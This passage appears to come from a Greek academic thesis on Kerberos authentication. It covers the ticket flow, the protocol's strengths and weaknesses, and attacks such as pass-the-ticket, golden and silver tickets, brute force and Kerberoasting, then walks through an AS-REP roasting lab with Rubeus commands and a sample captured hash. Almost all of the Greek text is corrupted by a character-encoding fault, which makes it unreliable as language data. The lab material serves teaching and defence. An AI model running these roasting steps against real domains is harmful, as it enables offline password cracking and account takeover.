ζπγθεθξηκέλα ην πξσηόθνιιν απηό ιεηηνπξγεί κε ηνλ αθόινπζν ηξόπν. 

 

Σν πξσηόθνιιν Kerberos ρξεζηκνπνηείηαη επξέσο ζε επηρεηξεκαηηθά πεξηβάιινληα 

θαη ζε ζπζηήκαηα δηαρείξηζεο ηαπηόηεηαο. Σν Kerberos βαζίδεηαη ζηελ έλλνηα ηνπ 

"εηζηηεξίνπ" (ticket) γηα ηε δηαζθάιηζε ηεο ηαπηόηεηαο ησλ ρξεζηώλ.  

 

 



 

Αθνινπζεί έλα βαζηθό ζελάξην ιεηηνπξγίαο:  

 

1. Αίηεζε Δηζηηεξίνπ (Ticket Granting Ticket - TGT):  

 Όηαλ έλαο ρξήζηεο εηζέξρεηαη ζην ζύζηεκα, απνζηέιιεηαη κηα αίηεζε γηα 

έλα TGT ζηνλ Kerberos Authentication Server (AS).  

 Ο AS ειέγρεη ηα δηαπηζηεπηήξηα ηνπ ρξήζηε θαη, αλ είλαη έγθπξα, 

επηζηξέθεη έλα TGT ζηνλ ρξήζηε.  

 

2. Παξαιαβή Δηζηηεξίνπ πλεδξίαο (Service Ticket):  

 Όηαλ ν ρξήζηεο επηζπκεί πξόζβαζε ζε έλαλ πόξν (ππεξεζία), όπσο έλα 

θνηλόρξεζην θάθειν, απνζηέιιεη ην TGT ηνπ θαη έλα αίηεκα γηα έλα 

Service Ticket (εηζηηήξην ππεξεζίαο) ζην Ticket Granting Server (TGS).  

 Ο TGS επηβεβαηώλεη ην TGT θαη, αλ είλαη έγθπξν, επηζηξέθεη έλα Service 

Ticket γηα ηελ επηζπκεηή ππεξεζία. 

  

3. Πξόζβαζε ζηελ Τπεξεζία:  

 Ο ρξήζηεο παξέρεη ην Service Ticket ζηελ ππεξεζία γηα ηελ νπνία 

επηζπκεί πξόζβαζε.  

 Η ππεξεζία επηβεβαηώλεη ην Service Ticket θαη, αλ είλαη έγθπξν, 

παξέρεη πξόζβαζε ζηνλ ρξήζηε.  

 

Πην αλαιπηηθά ν πειάηεο ειέγρεη ηνλ εαπηό ηνπ ζηνλ δηαθνκηζηή ειέγρνπ 

ηαπηόηεηαο (Authentication Server - AS) ν νπνίνο πξνσζεί ην όλνκα ρξήζηε ζε έλα 

θέληξν δηαλνκήο θιεηδηώλ (Key Distribution Center - KDC). Σν KDC εθδίδεη έλα 

εηζηηήξην απνλνκήο εηζηηεξίσλ (Ticket Granting Ticket - TGT), ην νπνίν έρεη 

ρξνληθή ζήκαλζε θαη ην θξππηνγξαθεί ρξεζηκνπνηώληαο ην κπζηηθό θιεηδί ηεο 

ππεξεζίαο ρνξήγεζεο εηζηηεξίσλ (Ticket Granting Service - TGS) θαη επηζηξέθεη 

ην θξππηνγξαθεκέλν απνηέιεζκα ζην ζηαζκό εξγαζίαο ηνπ ρξήζηε. Απηό γίλεηαη 

ζπάληα, ζπλήζσο θαηά ηε ζύλδεζε ηνπ ρξήζηε. Σν TGT ιήγεη θάπνηα ζηηγκή, αλ θαη 

κπνξεί λα αλαλεσζεί από ηνλ δηαρεηξηζηή ζπλεδξίαο ηνπ ρξήζηε ελώ είλαη 

ζπλδεδεκέλνο.  

 



 

Όηαλ ν πειάηεο ρξεηάδεηαη λα επηθνηλσλήζεη κε κηα ππεξεζία ζε έλαλ άιιν θόκβν, ν 

πειάηεο ζηέιλεη ην TGT ζην TGS, ην νπνίν ζπλήζσο κνηξάδεηαη ηνλ ίδην θεληξηθό 

ππνινγηζηή κε ην Key Distribution Center (KDC). Η ππεξεζία πξέπεη λα έρεη ήδε 

θαηαρσξεζεί ζην TGS κε Κύξην Όλνκα Τπεξεζίαο (Service Principal Name - SPN). 

Ο πειάηεο ρξεζηκνπνηεί ην SPN γηα λα δεηήζεη πξόζβαζε ζε απηήλ ηελ ππεξεζία. 

Αθνύ επαιεζεπηεί όηη ην TGT είλαη έγθπξν θαη όηη ν ρξήζηεο επηηξέπεηαη λα έρεη 

πξόζβαζε ζηελ ππεξεζία πνπ δεηήζεθε, ην TGS εθδίδεη θιεηδηά εηζηηεξίσλ θαη 

ζπλεδξίαο ζηνλ πειάηε. ηε ζπλέρεηα, ν πειάηεο ζηέιλεη ην εηζηηήξην ζηνλ 

δηαθνκηζηή ππεξεζηώλ (Service Server - SS) καδί κε ην αίηεκα εμππεξέηεζεο 

(Neuman; J., Kohl , 1993).  

 

εκαληηθά ζηνηρεία ηνπ Kerberos πεξηιακβάλνπλ ηνλ Kerberos Authentication Server 

(AS), ην Ticket Granting Server (TGS), ηνλ ρξήζηε, ηελ ππεξεζία θαη ηα εηζηηήξηα 

TGT θαη Service Ticket. Σα θξππηνγξαθεκέλα εηζηηήξηα πξνζηαηεύνπλ ηελ 

απζεληηθόηεηα ηνπ ρξήζηε θαη παξέρνπλ επέιηθηε δηαρείξηζε ηεο πξόζβαζεο ζηνπο 

πόξνπο ηνπ δηθηύνπ. 

 

Κύξηα Υαξαθηεξηζηηθά ηνπ Kerberos  

 

1. Δληαία ύλδεζε (Single Sign-On): Οη ρξήζηεο απζεληηθνπνηνύληαη κόλν κία 

θνξά θαη απνθηνύλ πξόζβαζε ζε πνιινύο πόξνπο ρσξίο λα ρξεηάδεηαη λα 

πιεθηξνινγήζνπλ μαλά ηα ζηνηρεία ηνπο.  

2. Καζνξηζκέλεο Αμηώζεηο (Claims-Based): Οη ρξήζηεο ιακβάλνπλ αμηώζεηο 

(claims) πνπ θαζνξίδνπλ ηα δηθαηώκαηά ηνπο, επηηξέπνληαο ιεπηνκεξή έιεγρν 

πξόζβαζεο.  

3. Κξππηνγξαθεκέλν Δηζηηήξην (Ticket): Σα εηζηηήξηα Kerberos πνπ 

απνδεηθλύνπλ ηελ ηαπηόηεηα ηνπ ρξήζηε θαη ηα δηθαηώκαηά ηνπ είλαη 

θξππηνγξαθεκέλα, εμαζθαιίδνληαο ηελ αζθαιή κεηαθνξά ηνπο.  

 

 

 



 

Δππάζεηεο θαη Δπηζέζεηο ζην Kerberos  

 

Παξά ηα εληππσζηαθά ραξαθηεξηζηηθά ηνπ Kerberos, όπσο θάζε ηερλνινγία, δελ 

είλαη αλίθεην θαη είλαη επάισην ζε επηζέζεηο πνπ ζηνρεύνπλ ζηελ αζέηεζε ηεο 

αζθάιεηάο ηνπ. Οη επηζέζεηο θαηά ηνπ Kerberos εθκεηαιιεύνληαη ηπρόλ αδπλακίεο ή 

ιαλζάλνπζεο εππάζεηεο ζηελ πινπνίεζε ηνπ πξσηνθόιινπ. Ωο απνηέιεζκα, νη ράθεξ 

έρνπλ αθηεξώζεη ρξόλν γηα λα αλαπηύμνπλ δηάθνξνπο ηξόπνπο γηα λα ην ζπάζνπλ. Οη 

πεξηζζόηεξνη από απηνύο ηνπο ηξόπνπο, εθκεηαιιεύνληαη κηα εππάζεηα, αδύλακνπο 

θσδηθνύο πξόζβαζεο ή θαθόβνπιν ινγηζκηθό. Μεξηθέο από απηέο ηηο κεζόδνπο είλαη:  

 

1. Pass-the-ticket  

2. Pass-the-key  

3. Χξπζό/Αζεκέλην εηζηηήξην (Golden/Silver ticket) 

4. Ωκήο βίαο (Brute force) 

5. Kerberoasting 

 

Δπεμήγεζε επηζέζεσλ:  

 

1. Pass-the-Ticket : Οη επηζέζεηο Pass-The-Ticket είλαη έλαο ηύπνο 

θπβεξλνεπίζεζεο όπνπ έλαο εηζβνιέαο θιέβεη έλα εηζηηήξην ρνξήγεζεο 

εηζηηεξίσλ Kerberos (TGT) από έλαλ ρξήζηε θαη ην ρξεζηκνπνηεί γηα λα 

πιαζηνπξνζσπήζεη απηόλ ηνλ ρξήζηε ζε έλα δίθηπν, παξαθάκπηνληαο 

κεραληζκνύο ειέγρνπ ηαπηόηεηαο θαη απνθηώληαο κε εμνπζηνδνηεκέλε 

πξόζβαζε ζε πόξνπο (Beyond trust, 2020). Κάπνηνο κπνξεί λα 

ρξεζηκνπνηήζεη κηα επίζεζε MitM γηα λα απνθηήζεη ην εηζηηήξην. Δπεηδή ην 

Kerberos ρξεζηκνπνηεί TCP ή UDP, ην θιεηδί ζπλεδξίαο πξέπεη λα ιεθζεί 

ρξεζηκνπνηώληαο άιιε κέζνδν.  

 

2. Pass-the-key: Σν πξσηόθνιιν ειέγρνπ ηαπηόηεηαο Kerberos ιεηηνπξγεί κε 

εηζηηήξηα γηα λα παξέρεη πξόζβαζε. Έλα εηζηηήξην ππεξεζίαο (ST) κπνξεί λα 

απνθηεζεί κε ηελ παξνπζίαζε ελόο εηζηηεξίνπ TGT (Ticket Granting Ticket). 

Απηό ην πξνεγνύκελν TGT κπνξεί λα ιεθζεί κε ηελ επηθύξσζε ελόο πξώηνπ 



 

βήκαηνο πνπ νλνκάδεηαη "pre-authentication" (εθηόο εάλ απηή ε απαίηεζε 

θαηαξγεζεί ξεηά γηα νξηζκέλνπο ινγαξηαζκνύο, θαζηζηώληαο ηνπο επάισηνπο 

ζην ASREProast).  

 

Ο πξνέιεγρνο απαηηεί από ηνλ αηηνύληα ρξήζηε λα παξέρεη ην κπζηηθό ηνπ 

θιεηδί (DES, RC4, AES128 ή AES256) πνπ πξνέξρεηαη από ηνλ θσδηθό 

πξόζβαζεο ρξήζηε. Έλαο εηζβνιέαο πνπ γλσξίδεη απηό ην κπζηηθό θιεηδί δελ 

ρξεηάδεηαη γλώζε ηνπ πξαγκαηηθνύ θσδηθνύ πξόζβαζεο γηα λα απνθηήζεη 

εηζηηήξηα. Απηό νλνκάδεηαη pass-the-key (Gentil Kiwi, 2014).  

 

3. Υξπζό/Αζεκέλην εηζηηήξην (Golden/Silver ticket): Ο ζηόρνο ηνπ Golden 

Ticket είλαη ε θαηαζθεπή ελόο TGT. Γηα λα γίλεη απηό είλαη απαξαίηεην λα 

απνθηήζεη ν θαθόβνπινο ηνλ θαηαθεξκαηηζκό NTLM ηνπ ινγαξηαζκνύ 

KRBtgt (ην KRB ζεκαίλεη Kerberos θαη ην tgt ζεκαίλεη Ticket Granting 

Ticket). Μόιηο επηηεπρζεί απηό, κπνξεί λα δεκηνπξγεζεί έλα TGT κε 

πξνζαξκνζκέλν ρξήζηε θαη δηθαηώκαηα.  

 

Σν Silver Ticket είλαη παξόκνην, σζηόζν, ην ελζσκαησκέλν εηζηηήξην είλαη 

TGS απηή ηε θνξά. Απαηηείηαη ην θιεηδί ππεξεζίαο, ην νπνίν πξνέξρεηαη από 

ηνλ θάηνρν ηεο ππεξεζίαο ινγαξηαζκόο. Γελ είλαη δπλαηή ε ζσζηή ππνγξαθή 

ηνπ PAC (Privileged Attribute Certificate) ρσξίο ην θιεηδί KRBtgt.  

 

ην golden ticket ην πιενλέθηεκα ηεο δεκηνπξγίαο ελόο TGT αληί ηνπ TGS 

είλαη ε δπλαηόηεηα πξόζβαζεο ζε νπνηαδήπνηε ππεξεζία (ή κεραλή) ζηνλ 

ηνκέα. Πξέπεη επίζεο λα ιεθζεί ππόςε όηη είλαη δπλαηή ε πιαζηνγξάθεζε 

εηζηηεξίσλ ρξεζηκνπνηώληαο ηα θιεηδηά AES Kerberos (AES128 θαη 

AES256), ηα νπνία ππνινγίδνληαη επίζεο από ηνλ θσδηθό πξόζβαζεο θαη 

κπνξνύλ λα ρξεζηκνπνηεζνύλ από ηελ Impacket θαη ηε Mimikatz γηα ηελ 

θαηαζθεπή ησλ εηζηηεξίσλ. Δπηπιένλ, απηά ηα θιεηδηά, ζε αληίζεζε κε ηνλ 

θαηαθεξκαηηζκό NTLM, είλαη ελζσκαησκέλα κε ηνλ ηνκέα θαη ην όλνκα 

ρξήζηε (Eloy Pérez, 2019).  

 

4. Ωκήο βίαο (Brute force): Δπεηδή ην Kerberos είλαη έλα πξσηόθνιιν ειέγρνπ 

ηαπηόηεηαο, είλαη δπλαηό λα πξαγκαηνπνηεζνύλ επηζέζεηο σκήο βίαο ελαληίνλ 



 

ηνπ. Δπηπιένλ, ην brute-forcing Kerberos έρεη πνιιά πιενλεθηήκαηα ζε ζρέζε 

κε άιιεο κεζόδνπο ειέγρνπ ηαπηόηεηαο κε brute-forcing, όπσο ηα αθόινπζα:  

 Γελ απαηηείηαη ινγαξηαζκόο ηνκέα γηα ηε δηεμαγσγή ηεο επίζεζεο, κόλν 

ζύλδεζε κε ην KDC.  

 Σα ζθάικαηα πξν-έιεγρνπ Kerberos δελ θαηαγξάθνληαη ζηελ ππεξεζία 

θαηαιόγνπ Active Directory κε έλα θαλνληθό ζπκβάλ απνηπρίαο ζύλδεζεο 

(4625), αιιά κε ζπγθεθξηκέλα αξρεία θαηαγξαθήο γηα ηελ απνηπρία πξν-

έιεγρνο ηαπηόηεηαο Kerberos (4771).  

 Σν Kerberos ππνδεηθλύεη, αθόκε θαη αλ ν θσδηθόο πξόζβαζεο είλαη ιάζνο, 

εάλ ην όλνκα ρξήζηε είλαη ζσζηό ή όρη. Απηό είλαη έλα ηεξάζηην 

πιενλέθηεκα ζε πεξίπησζε εθηέιεζεο απηνύ ηνπ είδνπο ηερληθήο ρσξίο λα 

γλσξίδεηε θαλέλα όλνκα ρξήζηε.  

 ην Kerberos brute-forcing είλαη επίζεο δπλαηόο ν εληνπηζκόο 

ινγαξηαζκώλ ρξεζηώλ ρσξίο λα απαηηείηαη πξν-έιεγρνο ηαπηόηεηαο, θάηη 

πνπ κπνξεί λα είλαη ρξήζηκν γηα ηελ εθηέιεζε κηαο επίζεζεο 

ASREPRoast.  

 Με ηε δηεμαγσγή κηαο επίζεζεο σκήο βίαο είλαη επίζεο δπλαηόο ν 

απνθιεηζκόο ινγαξηαζκώλ ρξεζηώλ. Δπνκέλσο, απηή ε ηερληθή πξέπεη λα 

ρξεζηκνπνηείηαη πξνζεθηηθά (Eloy Pérez, 2019). 

 

5. Kerberoasting: Ο ζηόρνο ηνπ Kerberoasting είλαη ε ζπιινγή εηζηηεξίσλ TGS 

γηα ππεξεζίεο πνπ εθηεινύληαη γηα ινγαξηαζκνύο ρξεζηώλ ζην AD (Active 

Directory), όρη γηα ινγαξηαζκνύο ππνινγηζηή. Έηζη, κέξνο απηώλ ησλ 

εηζηηεξίσλ TGS είλαη θξππηνγξαθεκέλν κε θιεηδηά πνπ πξνέξρνληαη από 

θσδηθνύο πξόζβαζεο ρξεζηώλ. Καηά ζπλέπεηα, ηα δηαπηζηεπηήξηά ηνπο ζα 

κπνξνύζαλ λα ζπάζνπλ εθηόο ζύλδεζεο. Δπνκέλσο, γηα λα γίλεη ην 

Kerberoasting, είλαη απαξαίηεηνο κόλν έλαο ινγαξηαζκόο ηνκέα πνπ κπνξεί 

λα δεηήζεη TGS, ν νπνίνο είλαη νπνηνζδήπνηε, θαζώο δελ απαηηνύληαη εηδηθά 

πξνλόκηα (Eloy Pérez, 2019).  

 

Αξθεηέο από ηηο παξαπάλσ επηζέζεηο ζα πινπνηεζνύλ ζε επόκελα θεθάιαηα θαζώο ζα 

αλαιπζνύλ θαη πεξαηηέξσ.  

 



 

Πιενλεθηήκαηα θαη Μεηνλεθηήκαηα Πξσηνθόιινπ Kerberos:  

 

Σν πξσηόθνιιν απζεληηθνπνίεζεο Kerberos έρεη επξεία ρξήζε ζηα επηρεηξεκαηηθά 

πεξηβάιινληα γηα ηε δηαρείξηζε ηεο ηαπηόηεηαο θαη ηελ εμαζθάιηζε αζθαινύο 

πξόζβαζεο ζε πόξνπο. Παξόιν πνπ πξνζθέξεη πνιιά πιενλεθηήκαηα, ππάξρνπλ θαη 

νξηζκέλα κεηνλεθηήκαηα πνπ πξέπεη λα ιεθζνύλ ππόςε.  

 

Πλεονεκτήματα του Kerberos 

 

1. Ιζρπξή Αζθάιεηα: Σν Kerberos παξέρεη ηζρπξή αζθάιεηα κέζσ ηεο ρξήζεο 

θξππηνγξαθεκέλσλ εηζηηεξίσλ, πεξηνξίδνληαο ηελ πηζαλόηεηα απάηεο θαη 

δηαθζνξάο ησλ δηαπηζηεπηεξίσλ.  

2. Κεληξηθή Γηαρείξηζε: Η δηαρείξηζε ηαπηνηήησλ γίλεηαη θεληξηθά, 

θαζηζηώληαο επθνιόηεξε ηελ ελεκέξσζε, ηελ αλάθιεζε ή ηε δηαγξαθή 

ρξεζηώλ από ην ζύζηεκα.  

3. Δληαία ύλδεζε (Single Sign-On - SSO): Ο ρξήζηεο κπνξεί λα 

απζεληηθνπνηεζεί κία θνξά θαη λα έρεη πξόζβαζε ζε πνιινύο πόξνπο ρσξίο 

λα απαηηείηαη επαλαιακβαλόκελε εηζαγσγή δηαπηζηεπηεξίσλ.  

4. Δπειημία Πξόζβαζεο: Οη ρξήζηεο κπνξνύλ λα έρνπλ πξόζβαζε ζε πόξνπο 

από νπνπδήπνηε ζην δίθηπν κε ηα εληαία δηαπηζηεπηήξηα ηνπο.  

5. Αληηκεηώπηζε Δπηζέζεσλ: Η ρξήζε θξππηνγξαθίαο θαη ε αληηκεηώπηζε ηεο 

αλαλέσζεο εηζηηεξίσλ πεξηνξίδνπλ ηηο πηζαλόηεηεο επηηπρίαο επηζέζεσλ.  

 

Μεηνλεθηήκαηα ηνπ Kerberos 

 

1. Πνιππινθόηεηα Δγθαηάζηαζεο θαη πληήξεζεο: Η εγθαηάζηαζε θαη ε 

ζπληήξεζε ηνπ Kerberos απαηηνύλ πξνρσξεκέλεο γλώζεηο, εηδηθά ζε κεγάια 

δίθηπα.  

2. Δμάξηεζε από ηε Γηαζεζηκόηεηα ηνπ Kerberos Server: Η ιεηηνπξγία ηνπ 

ζπζηήκαηνο εμαξηάηαη ζεκαληηθά από ηε δηαζεζηκόηεηα ηνπ Kerberos Server. 

Αλ απηόο απνηύρεη, ε πξόζβαζε ζε πόξνπο δπζρεξαίλεηαη.  



 

3. Πεξηνξηζκέλε Τπνζηήξημε γηα Κηλεηέο πζθεπέο: Η αληηκεηώπηζε θηλεηώλ 

ζπζθεπώλ κε πεξηνξηζκέλε ππνζηήξημε κπνξεί λα απνηειέζεη πξόθιεζε.  

4. Γπζθνιία ζηε Γηαρείξηζε Πεξίπινθσλ πζηεκάησλ: Η δηαρείξηζε 

ζπζηεκάησλ κε πνιππινθόηεηα όπσο ε αιιειεπίδξαζε κε δηάθνξα 

ιεηηνπξγηθά ζπζηήκαηα κπνξεί λα είλαη δύζθνιε.  

5. Δληαίν ζεκείν απνηπρίαο: Απαηηεί ηελ ζπλερή δηαζεζηκόηεηα ελόο θεληξηθνύ 

δηαθνκηζηή. Όηαλ ν δηαθνκηζηήο Kerberos δελ ιεηηνπξγεί, θαλείο δελ κπνξεί 

λα ζπλδεζεί. Απηό κπνξεί λα ιπζεί κε ηε ρξήζε πνιιαπιώλ δηαθνκηζηώλ 

Kerberos θαη κεραληζκώλ επείγνπζαο πηζηνπνίεζεο.  

6. Σν Kerberos απαηηεί ζπγρξνληζκό ησλ ξνινγηώλ όισλ ησλ εκπιεθόκελσλ 

θεληξηθώλ ππνινγηζηώλ. Σα εηζηηήξηα έρνπλ κηα ρξνληθή πεξίνδν 

δηαζεζηκόηεηαο θαη αλ ην ξνιόη ηνπ θεληξηθνύ ππνινγηζηή δελ ζπγρξνληζηεί 

κε ην ξνιόη ηνπ δηαθνκηζηή Kerberos, ν έιεγρνο ηαπηόηεηαο ζα απνηύρεη. Η 

πξνεπηιεγκέλε δηακόξθσζε απαηηεί νη ώξεο ησλ ξνινγηώλ λα κελ απέρνπλ 

κεηαμύ ηνπο πεξηζζόηεξν από 10 ιεπηά. ηελ πξάμε ρξεζηκνπνηείηαη ζπλήζσο 

ην Πξσηόθνιιν Χξόλνπ Γηθηύνπ (NTP) γηα λα δηαηεξνύληαη ζπγρξνληζκέλνη 

όινη νη θεληξηθνί ππνινγηζηέο. 

7. Σν πξσηόθνιιν δηαρείξηζεο δελ είλαη ηππνπνηεκέλν θαη δηαθέξεη κεηαμύ 

ησλ πινπνηήζεσλ ηνπ δηαθνκηζηή. Οη αιιαγέο ηνπ θσδηθνύ πξόζβαζεο 

πεξηγξάθνληαη ζην RFC 3244.  

8. Γεδνκέλνπ όηη ηα κπζηηθά θιεηδηά όισλ ησλ ρξεζηώλ απνζεθεύνληαη 

ζηνλ θεληξηθό δηαθνκηζηή, κηα παξαβίαζε ηνπ ελ ιόγσ δηαθνκηζηή ζα ζέζεη 

ζε θίλδπλν ηα κπζηηθά θιεηδηά όισλ ησλ ρξεζηώλ.  

9. Έλαο εθηεζεηκέλνο πειάηεο ζα ζέζεη ζε θίλδπλν ηνλ θσδηθό πξόζβαζεο 

ηνπ ρξήζηε (Leandro Alegsa , 2021). 

 

Παξόια απηά, ην Kerberos ζπλνιηθά παξέρεη ηζρπξή αζθάιεηα θαη επειημία ζηε 

δηαρείξηζε ηαπηνηήησλ, θαζηζηώληαο ην έλα από ηα θπξηόηεξα εξγαιεία γηα ηε 

δηαζθάιηζε ηεο απζεληηθόηεηαο θαη ηεο πξόζβαζεο ζε εηαηξηθά δίθηπα. 

 

 

 

 



 

Δπίζεζε ASREPRoasting ζην Kerberos 

 

Σν AS-REP Roasting είλαη κηα ηερληθή πνπ επηηξέπεη ζηνπο επηηηζέκελνπο λα 

θιέςνπλ ηνπο θαηαθεξκαηηζκνύο θσδηθώλ πξόζβαζεο ινγαξηαζκώλ ρξεζηώλ πνπ 

έρνπλ απελεξγνπνηεκέλν ηνλ πξνέιεγρν Kerberos, ηνλ νπνίν ζηε ζπλέρεηα κπνξνύλ 

λα επηρεηξήζνπλ λα ζπάζνπλ εθηόο ζύλδεζεο.  

 

Η επίζεζε ASREPRoasting είλαη κηα επίζεζε πνπ ζηνρεύεη ην πξσηόθνιιν Kerberos, 

ζπγθεθξηκέλα ηνλ Kerberos pre-authentication, θαη απνζθνπεί ζηελ εμαγσγή 

επαίζζεησλ πιεξνθνξηώλ ζρεηηθά κε ηα θξπθά θιεηδηά ησλ ρξεζηώλ ζηνλ Active 

Directory (AD) ή ζε άιια πεξηβάιινληα πνπ ρξεζηκνπνηνύλ ην Kerberos. Όηαλ είλαη 

ελεξγνπνηεκέλνο ν πξνέιεγρνο ηαπηόηεηαο, έλαο ρξήζηεο πνπ ρξεηάδεηαη πξόζβαζε 

ζε έλαλ πόξν μεθηλά ηε δηαδηθαζία ειέγρνπ ηαπηόηεηαο Kerberos ζηέιλνληαο έλα 

κήλπκα αίηεζεο δηαθνκηζηή ειέγρνπ ηαπηόηεηαο (AS-REQ) ζηνλ ειεγθηή ηνκέα 

(DC).  

 

Η ρξνληθή ζήκαλζε ζε απηό ην κήλπκα είλαη θξππηνγξαθεκέλε κε ηνλ 

θαηαθεξκαηηζκό ηνπ θσδηθνύ πξόζβαζεο ηνπ ρξήζηε. Δάλ ην DC κπνξεί λα 

απνθξππηνγξαθήζεη απηήλ ηε ρξνληθή ζήκαλζε ρξεζηκνπνηώληαο ηε δηθή ηνπ 

εγγξαθή ηνπ θαηαθεξκαηηζκνύ ηνπ θσδηθνύ πξόζβαζεο ηνπ ρξήζηε, ζα ζηείιεη πίζσ 

έλα κήλπκα απόθξηζεο δηαθνκηζηή ειέγρνπ ηαπηόηεηαο (AS-REP) πνπ πεξηέρεη έλα 

εηζηηήξην εθρώξεζεο εηζηηεξίσλ (TGT) ην νπνίν εθδόζεθε από ην Κέληξν Γηαλνκήο 

Κιεηδηώλ (KDC) θαη ρξεζηκνπνηείηαη γηα κειινληηθά αηηήκαηα πξόζβαζεο από ηνλ 

ρξήζηε. 

 

Ωζηόζν, εάλ ν πξνέιεγρνο είλαη απελεξγνπνηεκέλνο, έλαο εηζβνιέαο ζα κπνξνύζε λα 

δεηήζεη ηα δεδνκέλα ειέγρνπ γηα νπνηνλδήπνηε ρξήζηε θαη ην DC ζα επέζηξεθε έλα 

AS-REP. Γεδνκέλνπ όηη κέξνο απηνύ ηνπ κελύκαηνο είλαη θξππηνγξαθεκέλν 

ρξεζηκνπνηώληαο ηνλ θσδηθό πξόζβαζεο ηνπ ρξήζηε, ν εηζβνιέαο κπνξεί ζηε 

ζπλέρεηα λα επηρεηξήζεη λα εμαλαγθάζεη ηνλ θσδηθό πξόζβαζεο ηνπ ρξήζηε εθηόο 

ζύλδεζεο  (Joe Dibley, 2022). 

 



 

Σηο πεξηζζόηεξεο θνξέο, ν πξνέιεγρνο είλαη ελεξγνπνηεκέλνο από πξνεπηινγή ζηελ 

ππεξεζία θαηαιόγνπ Active Directory. Ωζηόζν, κπνξεί λα απελεξγνπνηεζεί γηα 

ινγαξηαζκό ηνπ ρξήζηε ρξεζηκνπνηώληαο κηα ξύζκηζε πνπ ζα παξνπζηαζηεί ζηε 

ζπλέρεηα απηνύ ηνπ θεθαιαίνπ.  

 

Η δηαδηθαζία ASREPRoasting ιεηηνπξγεί σο εμήο:  

 

1. Δπίζεζε ζην Pre-authentication: Καηά ηελ είζνδν ελόο ρξήζηε ζην 

ζύζηεκα, ην Kerberos επηηξέπεη ηελ είζνδν ηνπ ρξήζηε ρσξίο ηελ 

απαηηνύκελε πξν-επαιήζεπζε (pre-authentication).  

2. Κινπή ησλ Ticket-Granting Ticket (TGT) ρσξίο Pre-authentication: Ο 

επηηηζέκελνο εθκεηαιιεύεηαη ηελ αδπλακία πξν-επαιήζεπζεο θαη 

πξαγκαηνπνηεί αηηήκαηα γηα TGT ρσξίο λα απαηηείηαη πξν-επαιήζεπζε (AS-

REQ requests).  

3. Αλάιπζε ησλ Δπαίζζεησλ Πιεξνθνξηώλ: Ο επηηηζέκελνο ζπιιέγεη ηα TGT 

γηα ηνπο ρξήζηεο πνπ δελ ρξεζηκνπνηνύλ πξν-επαιήζεπζε θαη αλαιύεη ηα 

επαίζζεηα θιεηδηά πνπ πεξηέρνληαη ζε απηά.  

 

Σα πιενλεθηήκαηα απηήο ηεο επίζεζεο γηα θάπνηνλ επηηηζέκελν, πεξηιακβάλνπλ ηε 

δπλαηόηεηα αλάθηεζεο επαίζζεησλ πιεξνθνξηώλ, όπσο θξπθά θιεηδηά, ρσξίο ηελ 

αλάγθε γηα πξν-επαιήζεπζε. Δίλαη ζεκαληηθό λα ζεκεησζεί όηη ε αληηκεηώπηζε 

απηήο ηεο επίζεζεο πεξηιακβάλεη ηνλ πεξηνξηζκό ησλ ρξεζηώλ πνπ κπνξνύλ λα 

ζπλδεζνύλ ρσξίο πξν-επαιήζεπζε, θαζώο θαη ηελ ελίζρπζε ηεο ξνήο εξγαζίαο πξν-

επαιήζεπζεο γηα επαίζζεηνπο ρξήζηεο. 

 

Γηα ηελ επίζεζε απηή ζα ρξεηαζηεί έλα κεράλεκα Windows θαζώο θαη δύν εξγαιεία 

πνπ ζα έρεη ν επηηηζέκελνο ην εξγαιείν Rubeus θαη ην Mimikatz. 

 

 

 

 



 

Δληνιέο γηα ηελ επίζεζε 

 

Γηα λα πινπνηεζεί απηή ε επίζεζε ν επηηηζέκελνο ζα πξέπεη λα έρεη ηα αθόινπζα 

εξγαιεία Rubeus θαη Mimikatz. 

 

 

Δηθόλα 25: Δγθαηάζηαζε ησλ εξγαιείσλ Rubeus θαη Mimikatz ζηελ επηθάλεηα ησλ Windows. 

  

Γηα λα εθηειέζεη ν θαθόβνπινο ηελ επίζεζε ASREPRoasting, ζηνλ Windows Server 

2016, πξώηα ζα πξέπεη λα απελεξγνπνηήζεη ηνλ πξνέιεγρν γηα έλαλ ινγαξηαζκό 

ρξήζηε πνπ αλήθεη ζηελ νκάδα ρξεζηώλ ηνκέα. Απηό γίλεηαη αθνινύζσο: 

 

1. Αλνίγεη ην Active Directory Users and Computers, έπεηηα δεμί θιηθ ζην 

ινγαξηαζκό ρξήζηε θαη επηινγή "ηδηόηεηεο".  

 

2. ηελ θαξηέια "Λνγαξηαζκόο", βεβαηώλεηαη όηη είλαη επηιεγκέλν ην πιαίζην 

ειέγρνπ "Να κελ απαηηείηαη πξνέιεγρνο Kerberos". 

 

 

 

 



 

 

 

Δηθόλα 26: Απελεξγνπνίεζε ηνπ πξνέιεγρνπ γηα έλαλ ινγαξηαζκό ρξήζηε. 

 

 

Σώξα ζηα Windows 10, ζα ζπλδεζεί κε ηα δηαπηζηεπηήξηα ινγαξηαζκνύ ρξήζηε, θαη 

αλνίγεη κηα γξακκή εληνιώλ (cmd.exe). Έπεηηα αιιάδεη ηνλ θαηάινγν ζην θάθειό 

πνπ έρεη αληηγξάςεη θαη επηθνιιήζεη ην εθηειέζηκν Rubeus. 

 

 

 

Δηθόλα 27: Άλνηγκα ηεο γξακκήο εληνιώλ θαη άλνηγκα ηνπ εξγαιείνπ Rubeus κε ηελ εληνιή: .\Rubeus.exe 

 



 

Δληνιή γηα λα μεθηλήζεη ην εξγαιείν Rubeus:  

 PS C:\Users\duser1\Desktop> .\Rubeus.exe 

Μόιηο αλνίμεη ην εξγαιείν ν επηηηζέκελνο ηξέρεη ηελ εληνιή ηεο επίζεζεο απηό ζα 

βξεη απηόκαηα όινπο ηνπο ινγαξηαζκνύο πνπ δελ απαηηνύλ έιεγρν ηαπηόηεηαο θαη ζα 

εμαγάγεη ηνπο θαηαθεξκαηηζκνύο AS-REP γηα ζπάζηκν εθηόο ζύλδεζεο, όπσο 

θαίλεηαη εδώ (Joe Dibley, 2022): 

 PS C:\Users\duser1\Desktop> Rubeus.exe asreproast 

 

 

Δηθόλα 28: Ο θαηαθεξκαηηζκόο AS-REP γηα ηνλ ρξήζηε duser1. 

To απνηέιεζκα πνπ επηζπκεί λα βξεη ν επηηηζέκελνο είλαη όπσο ην αθόινπζν:  

 

$krb5asrep$duser1@asimi.local:7837AD5C8D8A3B71BED8CFBC234A3302$7F3BBAF876D34F5C13F33077

C94858B80E113C56E5B5FD9A93D6B306812CEA53F18714FEF2D2E8772367C44ED60E2158B08B7B526E

19B0903DBA59ADCD92C4D5A3EA84A9D61EF42EEC0C0C505E4B4C3ED722220914DB69ECF6FDE8490

